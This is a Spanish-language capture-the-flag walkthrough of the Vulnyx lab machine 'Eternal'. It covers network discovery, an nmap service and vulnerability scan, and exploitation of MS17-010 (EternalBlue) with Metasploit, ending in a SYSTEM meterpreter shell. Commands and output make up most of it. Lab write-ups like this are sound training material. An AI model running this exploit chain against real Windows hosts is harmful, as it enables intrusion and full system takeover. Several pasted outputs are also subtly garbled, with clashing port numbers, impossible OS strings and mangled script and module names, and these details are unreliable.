

Máquina Eternal (Vulnyx)

De Ignacio Millán Ledesma Publicado el: 27 septiembre



Comenzamos con averiguar la dirección IP de la Máquina Víctima, para ello utilizaremos la herramienta **netdiscover**, para ello ejecutamos el siguiente comando:

```
$ netdiscover -i eth1 -r 10.0.2.0/24
```

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:95:ff:51	1	60	PCS Systemtechnik GmbH
10.0.2.18	08:00:27:64:e5:df	1	60	PCS Systemtechnik GmbH

- **Kali (Máquina Atacante):** 10.0.2.4
- **Máquina Víctima:** 10.0.2.18

Comprobamos si tenemos conexión con la Máquina Víctima, para ello ejecutaremos el siguiente comando:

```
$ ping -c 1 10.0.2.18
```

```
PING 10.0.2.18 (10.0.2.18) 56(84) bytes of data.
64 bytes from 10.0.2.18: icmp_seq=1 ttl=128 time=0.325 ms

— 10.0.2.18 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.325/0.325/0.325/0.000 ms
```

Como se puede comprobar por el TTL nos enfrentamos a una Máquina **Windows**.

A continuación, realizamos con la herramienta **nmap** un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

```
$ nmap -Pn 10.0.2.18 -sVC
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 02:19 CEST
Nmap scan report for 10.0.2.18
Host is up (0.00036s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc      Microsoft Windows RPC
139/tcp    open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Enterprise 7680 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
1307/tcp   open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp  open  msrpc      Microsoft Windows RPC
49153/tcp  open  msrpc      Microsoft Windows RPC
49154/tcp  open  msrpc      Microsoft Windows RPC
49155/tcp  open  msrpc      Microsoft Windows RPC
49156/tcp  open  msrpc      Microsoft Windows RPC
49157/tcp  open  msrpc      Microsoft Windows RPC
MAC Address: 08:00:27:64:E5:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: MIKE-PC; OS: Windows; CPE: cpe:/a:microsoft/windows

Host script results:
|_ smb2-time:
|   date: 2025-09-14T01:20:18
|   start_date: 2025-09-14T01:22:58
|_ smb-ss-allow:
|   OS: Windows 7 Enterprise 7680 Service Pack 1 (Windows 7 Enterprise 8.1)
|   OS CPE: cpe:/a:microsoft/windows_7::ms1
|   Computer name: MIKE-PC
|   NetBIOS computer name: MIKE-PC\\mb
|   Workgroup: WORKGROUP\\mb
|   System time: 2025-09-14T01:20:18+02:00
|   _osstat: NetBIOS name: MIKE-PC, NetBIOS user: unknown, NetBIOS MAC: 08:00:27:64:E5:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_ smb2-security-mode:
|   210:
|     Message signing enabled but not required
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|   message_signing: disabled (dangerous, but default)
|_ _clock-skew: mean: 12m29s, deviation: 30m00s, median: 30m00s
```

Como podemos comprobar la Máquina Víctima tiene abiertos los puertos **135, 139, 445, 5357, 49152, 49153, 49154, 49155, 49156, 49157**; y nos confirma que se trata de una Máquina con **Windows 7**.

A continuación, comprobamos si el servicio que corre por el puerto 445 (**smb**) es vulnerable su versión, para ello usaremos el **script vuln** de **nmap**, para ello ejecutaremos el siguiente comando:

```
$ nmap -p 445 10.0.2.18 --script vuln
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 02:22 CEST
Nmap scan report for 10.0.2.18
Host is up (0.00045s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:64:E5:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_ _smb-vuln-ms10-054: false
|_ _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|     servers (ms17-010).
```

Y comprobamos que es vulnerable.

A continuación, haremos uso de la herramienta **Metasploit**, para ello ejecutamos el siguiente comando para arrancarla:

```
$ msfconsole
```

Buscamos este **exploit**, para ello ejecutamos el siguiente comando dentro de la consola de Metasploit:

```
msf6> search ms17-010
```

```
msf6 > search ms17-010
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-05-14	average	Yes	ms17-010 EternalBlue SMB Reverts Windows Kernel Pool Corruption

Seleccionamos, configuramos y lanzamos el exploit, para ello ejecutamos los siguiente comandos dentro de la consola de Metasploit:

```
msf6> use 0
```

```
msf6> set RHOST 10.0.2.18
```

```
msf6> run
```

```
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM  
meterpreter > █
```